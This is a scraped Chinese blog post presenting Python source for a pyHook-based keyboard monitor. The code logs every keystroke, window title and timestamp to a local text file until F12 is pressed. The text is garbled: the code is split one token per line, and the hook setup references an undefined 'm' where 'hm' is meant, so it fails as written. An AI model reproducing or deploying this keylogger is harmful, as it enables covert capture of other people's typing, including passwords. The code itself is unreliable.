pyhooks方法实现键盘监控源码示例
来源:互联网 发布:最容易学的编程语言 编辑:程序博客网 时间:2024/06/03 19:47
pyhooks方法实现键盘监控源码示例,pyhooks实现键盘监控,F12终止程序
第一次运行时,提示没有安装pythoncom模块;承后安装了pywin32,安装后可以正常运行。
这里会遇到一个问题就是可能会导致机器发卡,特别是在中断程序运行之后。你会发现鼠标会出现一段时间的自由晃动(好奇怪哦...)后来找不到原因感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。
我也在网上搜索了这个问题的解决方法,看到有一帖子说是:pythoncom.PumpMessages(n),这个n表示延迟时间,我就试着小小的修改了一下,效果还是有的,但没有预想的那么好。后来又想到,会不会是因为没有终止程序,才会导致一直很卡呢?
这样我就又添加了一个终止程序语句:win32api.PostQuitMessage()
这个结果还算满意!pyhooks方法实现键盘监控源码示例源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: cp936 -*-
import
pythoncom
import
pyHook
import
time
import
win32api
t
=
''
asciistr
=
''
keystr
=
''
def
onKeyboardEvent(event):
global
t,asciistr,keystr
filename
=
'd://test.txt'
wrfile
=
open
(filename,
'ab'
)
"处理键盘事件"
if
t
=
=
str
(event.WindowName):
asciistr
=
asciistr
+
chr
(event.Ascii)
keystr
=
keystr
+
str
(event.Key)
else
:
t
=
str
(event.WindowName)
if
asciistr
=
=
'
' and keystr=='
':
wrfile.writelines(
"\nWindow:%s\n"
%
str
(event.Window))
wrfile.writelines(
"WindowName:%s\n"
%
str
(event.WindowName))
#写入当前窗体名
wrfile.writelines(
"MessageName:%s\n"
%
str
(event.MessageName))
wrfile.writelines(
"Message:%d\n"
%
event.Message)
wrfile.writelines(
"Time:%s\n"
%
time.strftime(
'%Y-%m-%d %H:%M:%S'
,time.localtime()))
else
:
wrfile.writelines(
"Ascii_char:%s\n"
%
asciistr)
wrfile.writelines(
"Key_char:%s\n"
%
keystr)
wrfile.writelines(
"\nWindow:%s\n"
%
str
(event.Window))
wrfile.writelines(
"WindowName:%s\n"
%
str
(event.WindowName))
#写入当前窗体名
wrfile.writelines(
"Time:%s\n"
%
time.strftime(
'%Y-%m-%d %H:%M:%S'
,time.localtime()))
asciistr
=
chr
(event.Ascii)
keystr
=
str
(event.Key)
if
str
(event.Key)
=
=
'F12'
:
#按下F12后终止
wrfile.writelines(
"Ascii_char:%s\n"
%
asciistr)
wrfile.writelines(
"Key_char:%s\n"
%
keystr)
wrfile.close()
win32api.PostQuitMessage()
return
True
if
__name__
=
=
"__main__"
:
#创建hook句柄
hm
=
pyHook.HookManager()
#监控键盘
m.KeyDown
=
onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages(
10000
)
0 0
- pyhooks方法实现键盘监控源码示例
- 实现键盘监控
- js监控键盘 设置快捷键方法
- 利用Hook技术实现键盘监控
- 利用Hook技术实现键盘监控
- 键盘监控
- iOS键盘监控键盘
- iOS中监控键盘弹出的方法连续多次进入
- Delphi中通过钩子技术实现键盘监控
- Delphi中通过钩子技术实现键盘监控
- C#钩子实现简单鼠标键盘的监控和屏蔽
- 键盘监控的实现Ⅲ——按键消息…
- 【Qt5开发及实例】32、实现键盘的监控操作
- Android 键盘监控的实现原理及过程
- js和jquery实现监听键盘事件示例代码
- jQuery scroll事件实现监控滚动条分页示例
- jQuery scroll事件实现监控滚动条分页示例
- jQuery scroll事件实现监控滚动条分页示例
- 【VCS】-常见的版本控制系统(VCS)
- 一步一步详细搭建Spark集群在docker上
- 全局函数pk成员函数
- 二分查找
- 70. Climbing Stairs 类别:动态规划 难度:easy
- pyhooks方法实现键盘监控源码示例
- Hibernate学习笔记 多表映射
- CF - 55D 数位dp + 状压
- Ubuntu 如何安装 libpcap 库
- 《社会动物——爱、性格和成就的潜在根源》读后感及摘录(4)
- 前端开发人员2017年学习什么
- 198. House Robber 类别:动态规划 难度:easy
- 10 线性表(5)
- js学习笔记:MV*模式